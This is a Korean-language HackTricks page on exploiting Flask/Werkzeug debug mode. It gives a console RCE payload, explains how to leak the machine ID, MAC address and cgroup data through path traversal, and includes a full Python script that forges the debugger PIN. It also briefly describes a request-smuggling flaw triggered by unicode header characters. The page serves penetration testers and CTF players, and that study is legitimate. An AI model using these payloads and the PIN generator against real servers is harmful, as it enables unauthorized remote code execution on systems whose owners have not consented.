Werkzeug / Flask Debug
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Console RCE
디버그가 활성화되어 있으면 /console
에 접근하여 RCE를 얻으려고 시도할 수 있습니다.
__import__('os').popen('whoami').read();
인터넷에는 이것과 같은 여러 익스플로잇이 있거나 메타스플로잇에 있는 익스플로잇이 있습니다.
핀 보호 - 경로 탐색
일부 경우 /console
엔드포인트는 핀으로 보호됩니다. 파일 탐색 취약점이 있는 경우 해당 핀을 생성하는 데 필요한 모든 정보를 유출할 수 있습니다.
Werkzeug 콘솔 PIN 익스플로잇
앱에서 디버그 오류 페이지를 강제로 표시하여 이를 확인하십시오:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
"console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. PIN 생성 알고리즘을 분석하여 콘솔 PIN을 악용할 것을 제안합니다. PIN 생성 메커니즘은 Werkzeug 소스 코드 저장소에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 파일 탐색 취약점을 통해 실제 서버 코드를 확보하는 것이 좋습니다.
콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다: probably_public_bits
와 private_bits
.
probably_public_bits
username
: Flask 세션을 시작한 사용자를 나타냅니다.modname
: 일반적으로flask.app
으로 지정됩니다.getattr(app, '__name__', getattr(app.__class__, '__name__'))
: 일반적으로 Flask로 해결됩니다.getattr(mod, '__file__', None)
: Flask 디렉토리 내의app.py
에 대한 전체 경로를 나타냅니다 (예:/usr/local/lib/python3.5/dist-packages/flask/app.py
).app.py
가 적용되지 않는 경우,app.pyc
를 시도하십시오.
private_bits
-
uuid.getnode()
: 현재 머신의 MAC 주소를 가져오며,str(uuid.getnode())
는 이를 10진수 형식으로 변환합니다. -
서버의 MAC 주소를 결정하기 위해, 앱에서 사용되는 활성 네트워크 인터페이스를 식별해야 합니다 (예:
ens3
). 불확실한 경우, **/proc/net/arp
를 누출하여 장치 ID를 찾고, 그 다음 **/sys/class/net/<device id>/address
**에서 MAC 주소를 추출합니다. -
16진수 MAC 주소를 10진수로 변환하는 방법은 아래와 같습니다:
# 예시 MAC 주소: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
:/etc/machine-id
또는/proc/sys/kernel/random/boot_id
의 데이터를/proc/self/cgroup
의 마지막 슬래시(/
) 이후 첫 번째 줄과 연결합니다.
`get_machine_id()` 코드
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
모든 필요한 데이터를 수집한 후, exploit 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다:
모든 필요한 데이터를 수집한 후, exploit 스크립트를 실행하여 Werkzeug 콘솔 PIN을 생성할 수 있습니다. 이 스크립트는 조합된 probably_public_bits
와 private_bits
를 사용하여 해시를 생성하고, 이후 추가 처리를 거쳐 최종 PIN을 생성합니다. 아래는 이 프로세스를 실행하기 위한 Python 코드입니다:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(cookiesalt
및 pinsalt
)를 추가하며 출력을 형식화하여 PIN을 생성합니다. probably_public_bits
및 private_bits
의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다.
tip
오래된 버전의 Werkzeug를 사용 중이라면 해싱 알고리즘을 sha1 대신 md5로 변경해 보세요.
Werkzeug 유니코드 문자
이 문제에서 관찰된 바와 같이, Werkzeug는 헤더에 유니코드 문자가 포함된 요청을 닫지 않습니다. 그리고 이 글에서 설명된 바와 같이, 이는 CL.0 요청 스머글링 취약점을 유발할 수 있습니다.
이는 Werkzeug에서 일부 유니코드 문자를 전송할 수 있으며, 이로 인해 서버가 중단될 수 있기 때문입니다. 그러나 HTTP 연결이 Connection: keep-alive
헤더로 생성된 경우 요청의 본문은 읽히지 않으며 연결은 여전히 열려 있으므로 요청의 본문은 다음 HTTP 요청으로 처리됩니다.
자동화된 익스플로잇
참고자료
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.